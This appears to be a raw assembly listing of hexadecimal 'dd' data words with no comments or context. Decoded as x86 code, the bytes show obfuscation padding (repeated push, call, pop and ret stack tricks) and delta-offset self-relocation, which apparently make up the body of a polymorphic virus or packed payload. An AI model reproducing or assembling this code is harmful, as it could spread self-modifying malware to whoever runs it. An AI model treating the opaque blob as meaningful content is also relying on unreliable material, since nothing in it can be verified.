dd 66905016h, 7797D681h, 30AD8589h, 53E90603h, 6A000004h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 91E8C355h, 7B8CF9FAh, 81666041h, 0E9E4D6CBh
dd 0Ah, 5B94CF0h, 42612573h, 0B061E020h, 618D8900h, 0E6060330h
dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 14E831h, 6C9A0000h, 8E27739Fh, 0F5D4DFC8h
dd 8F48B78Ch, 0C52CF095h, 85893502h, 6030631h, 0E871E45Eh
dd 10h, 0EB857680h, 0B29D4C14h, 0DEAD7B38h, 33337277h
dd 2541B58Bh, 0F5E0603h, 8509D8B6h, 6032A35h, 6BAh, 7890F00h
dd 50000000h, 7C26F6BFh, 0BD895E08h, 6032CD9h, 0E8C1C38Bh
dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0F766F5D1h, 57006AE2h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E3FF9922h
dd 0E8303233h, 13h, 9696FED6h, 1151283Eh, 0D8A028D7h, 4C705737h
dd 0E8AD5439h, 0Ch, 3302E300h, 5DE50543h, 0EFBD7C79h, 5EF6BF0Fh
dd 9D01605Eh, 6032D09h, 12E9h, 574B3000h, 4CA8C124h, 43F36D51h
dd 85C4CD45h, 61D53FC1h, 881AF681h, 0D82B70A2h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 89C35545h, 71C3C0CDh
dd 0BF0FB28Eh, 8E0F93FEh, 8, 2810Fh, 61600000h, 935E5250h
dd 79B5FFF9h, 6A060328h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 8C66C353h, 0C697BE7Eh
dd 81661B13h, 0FF6697D6h, 31FB995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD234A12h
dd 6032459h, 858900B0h, 60323DDh, 8B0F70E6h, 0
dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 0F2308EC3h, 9F1EED5h, 32EFDB5h, 5BD8906h
dd 3C060332h, 23830F61h, 89000002h, 3011D9Dh, 0CBE6606h
dd 0D8B60F55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0DDC35040h, 0FE9D08Fh, 6000000h, 0CFA161E2h, 99F81D8Dh
dd 19323255h, 9E9183Dh, 0BB000000h, 3647D786h, 306FD9Ah
dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 9AEC221h, 0CC2AD2FBh, 0AE9E5h, 0BE7F0000h
dd 7CD448A6h, 8267384Eh, 68B0Fh, 0BD8B0000h, 6031D3Dh
dd 8D89C38Bh, 60324E9h, 8904E8C1h, 3200595h, 0E2F76606h
dd 9E9h, 591A7300h, 0BE6ED6AEh, 0D82B1E07h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 50C35040h, 0BD8B58F8h
dd 6031B8Dh, 880FD82Bh, 142h, 2309BD23h, 7B90603h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 162AC357h, 0C183D4h, 3BF2B70Fh, 0B860FD9h
dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 85DCC352h, 0FB3FFE9h, 883h, 0BD8B5200h
dd 6030951h, 0D98C665Eh, 0F04C1F6h, 0A684h, 68C0F00h, 29000000h
dd 32089BDh, 0A595FF06h, 89060311h, 313E5B5h, 6A5B06h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 91CBEBC3h, 12999D31h, 0C32B0603h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0E4C35242h, 0BBF14443h, 8B23061Dh
dd 32379BDh, 8343D06h, 860F0000h, 33h, 0D59D8B60h, 66060331h
dd 61310AB8h, 4DE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 398D8996h, 8B060323h
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 9E1C7181h, 8068E639h, 7B37E781h, 0C38B5805h
dd 8D89D88Bh, 6031451h, 52E68166h, 0C985C7F0h, 3706031Bh
dd 8B389617h, 0B98D01C0h, 8106032Ch, 32879BDh, 7D006h
dd 53850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 4287C357h, 7985FFD6h
dd 6A060328h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 5DA3C352h, 0CE997h, 42AD0000h
dd 9F2272F4h, 9B9378A9h, 0B5FFF88Bh, 6032879h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 0E9BD339Ch
dd 0FF060322h, 31FB995h, 6A90F806h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 403BC350h
dd 89F9E79Fh, 30F79BDh, 29952906h, 1060311h, 303C9BDh
dd 99D2906h, 3306031Dh, 3063DBDh, 6AF38B06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 4E89C352h, 75FA6523h, 403BD501h, 6AFABF0Fh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 40D3C355h, 60CC37C7h, 0F732D8B5h, 89F28B66h, 32C4585h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8123362Eh, 9425C6EFh, 4DB58B0Eh, 6A06030Ch
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 29A9C353h, 6AA47BC1h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9B3AC352h
dd 8D31F2F0h, 6032EF5h, 0FFF79BE9h, 898589FFh, 8B06030Fh
dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0F9E8DC69h, 66416102h, 4EBF18Bh, 0
dd 919BD8Bh, 0B5230603h, 6032BBDh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0A9C35545h, 0DB51B2CCh, 899D8909h
dd 8D060306h, 3281185h, 0ADBD0B06h, 9006031Ch, 8E0Fh, 66500000h
dd 6A90FA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 8BECC352h, 6650DD1Bh, 6A8FD053h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 70FA1E5Dh, 6AE42269h, 9DE78100h, 8D13666Dh
dd 6F04385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0E96F9639h, 11h, 2F104DF0h, 7A2355C0h
dd 0C62F66D4h, 0B9C0237Bh, 858953D1h, 60309CDh, 5C0835Fh
dd 22D98D29h, 0E8900603h, 7, 0BB975975h, 0E9C2F04Bh, 11h
dd 89394BC2h, 0C377655Eh, 522AC01Eh, 0C5CFE975h, 0BE505E43h
dd 28E62B40h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0C244FE14h, 0DE1D8333h, 0AE89867h
dd 66000000h, 95417ADEh, 0BCB14652h, 6A5FF81Dh, 58A0F00h
dd 0BE000000h, 7D14D32h, 850F006Ah, 6, 1B058529h, 0DE90603h
dd 61000000h, 6BBFF95Fh, 0CEE1D7D0h, 0AB657A3Ah, 0CC995FFh
dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 81EEF7C3h, 0A973C1EFh, 479D8D33h, 89060697h
dd 310EDBDh, 8BD3FF06h, 3254DB5h, 1585FF06h, 5106032Ah
dd 9E9h, 0BD939A00h, 15D35AECh, 0E95E8BCBh, 7D1h, 0E8h
dd 0ED815D00h, 606F04Dh, 143DBD29h, 0BD810603h, 6032879h
dd 7D0h, 12B860Fh, 8BF50000h, 312F19Dh, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0EDBE6612h, 9B52B86h, 81060325h, 100E3h, 0F6815300h
dd 5119DE45h, 0FDB0B5Fh, 0AB85h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C5A5550Ah
dd 32564BA1h, 0BF66E035h, 858901E7h, 6032C51h, 0EE78BD83h
dd 0F000606h, 884h, 78E900h, 0BF0F0000h, 7885C7FBh, 10606EEh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 79BBC355h, 10D0EE32h, 0B9A621C8h
dd 0A5BD8952h, 5F06032Ch, 39E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B0A9C742h
dd 0D327FE49h, 51BA6050h, 6166837Fh, 0EE7885C7h, 606h
dd 0BE660000h, 9D8D1DB4h, 60312F1h, 8688EE81h, 23815FB2h
dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 9EC35747h, 0DB8C66C0h, 5CB1E0BEh, 4C3F636h, 63840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 1B47A2C3h, 0A595FFD9h, 6A060311h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8BFFC355h, 31C7DBDh, 7E806h, 226E0000h, 339B9BC3h, 553CBE8Ah
dd 905F29E1h, 9050F78Bh, 0CBC78166h, 45FE996h, 0CE810000h
dd 4FB6AF6Ah, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 2905BAC3h, 3311985h, 128B0F06h
dd 0F000000h, 0C8Bh, 7E900h, 0AD520000h, 0FCB7208Fh, 4091BEB2h
dd 70E6155Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 2DC35040h, 6004029Ah, 1DE98166h, 9D8953D7h, 6031465h
dd 71E46159h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 1AC35646h, 0B58B3CBCh, 6032BC9h, 6AD8B60Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0F93FC350h, 6BAh, 7DBD8900h, 8B060332h, 57006AC3h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 6BADF61Ah, 7758F96Eh, 0E99D89BCh, 0C106031Eh, 37BF04E8h
dd 66295CA3h, 12E9E2F7h, 33000000h, 0E4B04E04h, 9CFF2C82h
dd 0D8B0121Fh, 0B21B0AA7h, 6AD82BF6h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8C38C355h
dd 0D8E3F668h, 895E5650h, 0FE9241Ch, 82000000h, 2A04CF22h
dd 0DEB9E70Eh, 3FD8D82Bh, 0B5FF6A22h, 6032879h, 53DE8166h
dd 0B995FFB1h, 6A06031Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0DDD0C352h, 0B4C2F707h
dd 0C5E242DBh, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0EF58EC3h, 820FA738h, 8, 0D5BD8953h
dd 5E06032Ah, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 68FE3C3h, 47B6BD0Dh, 41BD8BAFh
dd 0E4060304h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 7A88948Dh, 0F613CCBh
dd 25083h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0B485BE51h, 0B60F5A43h, 7DCE81D8h
dd 0BA77DBFAh, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0E7C35141h, 85898A99h, 6031C41h, 0C38BF88Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2FC35242h, 8B661748h
dd 4E8C1F9h, 2D8589h, 0F7660603h, 56006AE2h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 4B22E6A3h
dd 19074FD9h, 25C9BD8Bh, 0D82B0603h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 89C35545h, 7F7CF378h, 90A2C9Fh
dd 32AD195h, 0F98B5806h, 880FD82Bh, 16Dh, 28C68166h, 7B91Bh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0FDC485C3h, 8B05A880h, 301CDB5h, 0C18306h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CAC35747h
dd 898796C1h, 313A985h, 0FD93B06h, 10C86h, 0F9BD8B00h
dd 66060308h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0D8590CC3h, 0FB80A686h, 0A1BD8BDBh
dd 0F6060310h, 840F04C1h, 0A7h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 67C35040h, 66A777F9h, 0FF23B9BFh
dd 311A595h, 9E906h, 0CE670000h, 0E7BA6760h, 5B1D5FA5h
dd 5621DF81h, 0C32B6669h, 8343Dh, 5C860F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0F9DAC351h, 0FE8h, 88C18400h, 0A44DBC81h
dd 1B833176h, 0ABBA2315h, 9DD78166h, 4AE95F8Dh, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0A635C353h, 8B8FB6F5h, 55006AC0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 552200E0h
dd 8BC90A0Dh, 3034DB5h, 8BC38B06h, 0F38B66D8h, 25CD85C7h
dd 0A3FD0603h
dd 6A75F4h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 75CEE2C3h, 0FB8B667Dh, 820FC08Bh, 6, 0C91B58Bh
dd 0BD810603h, 6032879h, 7D0h, 16850Fh, 0B5290000h, 6030CA1h
dd 287985FFh, 50560603h, 3111BD8Bh, 5E5F0603h, 2879B5FFh
dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 838CA1C3h, 1BA6E3C4h, 0CC5BD0Bh, 95FF0603h
dd 6031FB9h, 8ACF8166h, 6A90EEh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0E4C5E6C3h, 92995F41h
dd 0B58BD5A9h, 60329FDh, 0CE8h, 3C022200h, 85D46F95h, 2109C451h
dd 5EFA8B15h, 10219D89h, 81660603h, 29B655EFh, 32279B5h
dd 77BE5606h, 8955D92Ch, 320F585h, 7E95F06h, 0B3000000h
dd 0B4766111h, 0BD8B6AEFh, 60301DDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0B7C35040h, 0B58960A1h, 60323D1h
dd 41B58BFCh, 0F06030Ch, 0E861CEB7h, 0Bh, 1A085D9Ah, 0F564F360h
dd 89772D9Ch, 3315DBDh, 5E906h, 0CF370000h, 5FA58143h
dd 0BD8BF98Bh, 60324E9h, 0F65BD2Bh, 0B5330603h, 6030AD1h
dd 1AA54EBEh, 25BD8904h, 6A060322h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 8430C357h
dd 0BE4B4927h, 35E9F5DAh, 0FFFFFF8h, 8Fh, 6AC18B00h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0C77C355h, 0E96012EFh, 0Dh, 33821518h, 1B747AC3h, 6E639A74h
dd 4EBE1h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0D5C9C352h, 8932D2B3h, 30375BDh
dd 8DF78B06h, 3281185h, 65958906h, 8B06032Ch, 30A29BDh
dd 52505006h, 4BF0BE66h, 0BE53310Fh, 8B78B52h, 89585A5Eh
dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 0D6691CC3h, 850F006Ah, 0
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 870F53C3h, 0Ah, 48E0Fh, 0BF660000h, 0BE66A153h
dd 858D66D9h, 606FA35h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 45C35545h, 601B50A8h, 0E1BEB8EAh, 891097DCh
dd 324F185h, 5C08306h, 90F18B66h, 0E7BE5250h, 0F687A6Ah
dd 5AF28B31h, 0E3BF5058h, 9010F5A7h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0B1C35040h, 0E78166E7h, 6A4C69h
dd 0A31B52Bh, 6A0603h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 8C35343h, 95FF6621h, 6030CC9h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 94C35141h, 893E0AB0h
dd 303E99Dh, 479D8D06h, 6A060697h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 77C7C356h
dd 73B01335h, 0B61CC66h, 32CB9B5h, 6AD3FF06h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 9CDC353h, 0FFDD2758h, 32A1585h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0D9EECDF7h
dd 773E914h, 0E80000h, 5D000000h, 0FA3FED81h, 6A0606h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 81E48AC3h, 32879BDh, 7D006h, 3F860F00h, 66000001h, 8B465BBEh
dd 305BD9Dh, 0FE806h, 2CF90000h, 0CE4EBA9Ch, 40360DC9h
dd 0D8494200h, 0E3815F16h, 100h, 0F89B523h, 0DB0B0603h
dd 7D850Fh, 0B58B0000h, 6031FCDh, 0F84FBD83h, 0F000606h
dd 1084h, 0E6816600h, 0B58B03BFh, 60326E9h, 86E9h, 4F85C700h
dd 10606F8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0A735C355h, 0B5092181h
dd 6031F11h, 52E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 364DE6C4h, 19BD0380h
dd 0C7060331h, 6F84F85h, 6, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 58EE4AF8h
dd 8DA239D2h, 305BD9Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 12E912B3h, 0EC000000h
dd 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h, 0FF23815Bh
dd 6AFFFFFEh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 1BD5C356h, 1B7D9589h, 8C660603h
dd 0D1B58BDBh, 0F606030Ch, 840F04C3h, 30h, 68D0Fh, 95890000h
dd 6032E31h, 11A595FFh, 0B5890603h, 6032929h, 0F525050h
dd 685h, 850F00h, 0F000000h, 5AF88B31h, 24048958h, 37FE9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 284D98CEh, 93B6A156h, 0BE8h, 5A575100h
dd 225A35CCh, 0A6EA0EB7h, 810F52h, 5E000000h, 7E95Eh, 64E50000h
dd 9E4910B7h, 0F500B05Ch, 816670E6h, 0E435D3CEh, 56006A71h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0D26CFF3Ch, 0ED9E28C5h, 810F60DBh, 6, 26F58589h, 0F610603h
dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 41D346C3h, 6BA17ACh, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0F03CC356h, 0F1858B60h, 6106030Bh, 6AC38Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 35FA25C3h, 825E818h, 0CA5B52Bh, 0E8C10603h, 0DE816604h
dd 0F7668580h, 0FD82BE2h, 480h, 11B56000h, 93509361h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 44C35646h, 0FFF7B70Fh
dd 32879B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 95FF07C5h, 6031FB9h, 0CE8h, 24A94300h
dd 0BAE51063h, 43E30F1Dh, 21BD89F5h, 5F060300h, 0CE900B0h
dd 0EC000000h, 3D9C2574h, 2F41543Dh, 0E61A606Bh, 0FBBF0F70h
dd 898D8B60h, 8B060326h, 313B585h, 71E46106h, 3CFEB70Fh
dd 0D5830F61h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 4FC7C357h, 7921C525h
dd 296B14A8h, 328DD9Dh, 0D8B60F06h, 2681B58Bh, 6BA0603h
dd 8B000000h, 331BDB5h, 6AC38B06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 979BC357h
dd 4BAFCA1Dh, 0EE9h, 5F605600h, 0F07656Eh, 0E07EF6CDh
dd 0C1C606C6h, 66F804E8h, 8501E2F7h, 6030AE9h, 6AD82Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 775764C3h, 0D1BD23C5h, 58060302h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0AFC35343h, 43A90852h, 280FBCFBh
dd 0FD82B88h, 0FF88h, 7B9F800h, 29000000h, 328CD8Dh, 0A5BD8906h
dd 83060329h, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 21FB76C3h, 0D01F2A57h, 860FD93Bh
dd 0C0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 20C35545h, 66FAB70Fh, 0C1F6D98Ch, 70840F04h, 8B000000h
dd 32901B5h, 0A595FF06h, 0E8060311h, 8, 0EC904B9Bh, 0D0D9A21Fh
dd 89DF8166h, 6A5B5E21h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 512EC350h, 0C32B253Fh
dd 11820Fh, 5E80000h, 0A4000000h, 18E9E2Bh, 0A7DB529h
dd 3D5E0603h, 834h, 0D860Fh, 8B660000h, 2AE9FBh, 81660000h
dd 8BA2ABEEh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 1AF36EC5h, 0F86E98D9h, 0D88BC38Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1EC35242h
dd 2069B58Bh, 85290603h, 60328A9h, 12F185C7h, 0CB3B0603h
dd 8BFC1DDBh, 8AD681C0h, 812C01F5h, 32879BDh, 7D006h, 39850F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 17A0C352h, 5C1CBBBh, 287985FFh
dd 0DE90603h, 42000000h, 34AD49F1h, 7D47248Dh, 9FED1A9Fh
dd 2879B5FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0B55F8C3h, 0AD11679Dh, 0B995FF8Ch
dd 6A06031Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0E96EC351h, 9, 6B7176E4h, 0CD4626B2h
dd 0CD850147h, 9006032Eh, 2E8BBE66h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 88C35545h, 0C66E2EEEh, 13E98774h
dd 0A8000000h, 1492D253h, 29AB0F55h, 5157EE23h, 0ED48A5C6h
dd 0FFC7FD5h, 0BF0FF0BFh, 0B9CF81FFh, 605B29F7h, 1B068BBEh
dd 8880F13h, 29000000h, 31061B5h, 0E9595106h, 0Bh, 3097D800h
dd 46CA9AE5h, 61DB9779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 15C35545h, 0DDE07B8Dh, 48AC84D7h, 0BBF66EAh
dd 8166601Bh, 893DE0C7h, 32101BDh, 0D98B6606h, 0F38B6661h
dd 6AFABF0Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0B5EBC351h, 0F34E871h, 8589F3BFh
dd 6031E9Dh, 2AE5BD8Bh, 800F0603h, 26h, 264DBD8Bh, 12E80603h
dd 0D6000000h, 0AEEFF8E3h, 3E54F40Ch, 2D55C2DEh, 0C163A3D6h
dd 8B6160EDh, 32AE9BDh, 0CBE95F06h, 0E9FFFFF8h, 14h, 7BDF75C0h
dd 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h, 0E0A2640Ah, 68C0Fh
dd 0B58B0000h, 60304E1h, 138E0Fh, 0BD2B0000h, 6031399h
dd 8E9h, 0AF5FA700h, 6071BDD6h, 6AC18BE0h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F528C353h
dd 4EB78h, 0B000000h, 31791BDh, 0E7816606h, 858DF838h
dd 6032811h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 5DC35242h, 0AAE50099h, 901C96D4h, 744BE66h, 13BF6650h
dd 81669033h, 6A206FCEh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 3373D21Ah, 31CE1BDh, 95B58B06h
dd 6A06032Ah, 5E858D00h, 6A060703h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6ED8C355h
dd 0DB37EC48h, 0BD317CE7h, 603174Dh, 6A05C083h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 33F9C351h, 0BF665260h, 0BF50816Bh, 4393EFD7h, 56240489h
dd 2D5CBEh, 6A5E24h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 6FC35747h, 8D89518Eh, 6032915h, 6A006A5Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0B792C357h, 0F07AB77Eh, 8D89C01Bh, 60329C1h
dd 0CC995FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0B58B90C3h, 60328CDh, 97479D8Dh
dd 5F530606h, 0BD89D3FFh, 60330C1h, 2A1585FFh, 6A0603h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 6A6336C3h, 0E3BAAB6Ah, 3DE9CF7Ch, 0E8000009h, 0
dd 68ED815Dh, 89060703h, 311AD85h, 79BD8106h, 0D0060328h
dd 0F000007h, 13786h, 0A1B50300h, 2906031Dh, 31D7D9Dh
dd 4D9D8B06h, 6A060321h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 426CC357h, 0CCC53EFDh
dd 100E381h, 0BF90000h, 7B850FDBh, 8B000000h, 30181B5h
dd 0CFBD8306h, 60701h, 4D840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1A9DA4C3h
dd 2D81B58Bh, 0E9F50603h, 6Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0AFC35545h, 8083E8F6h, 0C76B18FEh
dd 701CF85h, 106h, 0C1BD8900h, 0E9060330h, 35h, 23D5B58Bh
dd 85C70603h, 60701CFh, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 51C35545h
dd 637899A5h, 0FBCE8166h, 4D9D8D2Ah, 6A060321h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 270EC356h, 0AF3A6563h, 81D6B23Bh, 0FFFEFF23h, 0AE8FFh
dd 0ECD70000h, 7D8E0234h, 442CC140h, 58A0Fh, 0E1BE0000h
dd 5F7BC434h, 0FDB8C66h, 0C3F6F9BFh, 0A1840F04h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0C369C353h, 165B5768h, 8589C75Bh, 60322FDh
dd 1FE59531h, 95FF0603h, 60311A5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 71C35141h, 0EBEA853Fh, 4B22E6A3h
dd 3E9ABEBFh, 0FE8B6619h, 90F38B66h, 50F78B66h, 3830Fh
dd 8B660000h, 6A90F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 696939C3h, 9B2838B9h, 66A68CCEh
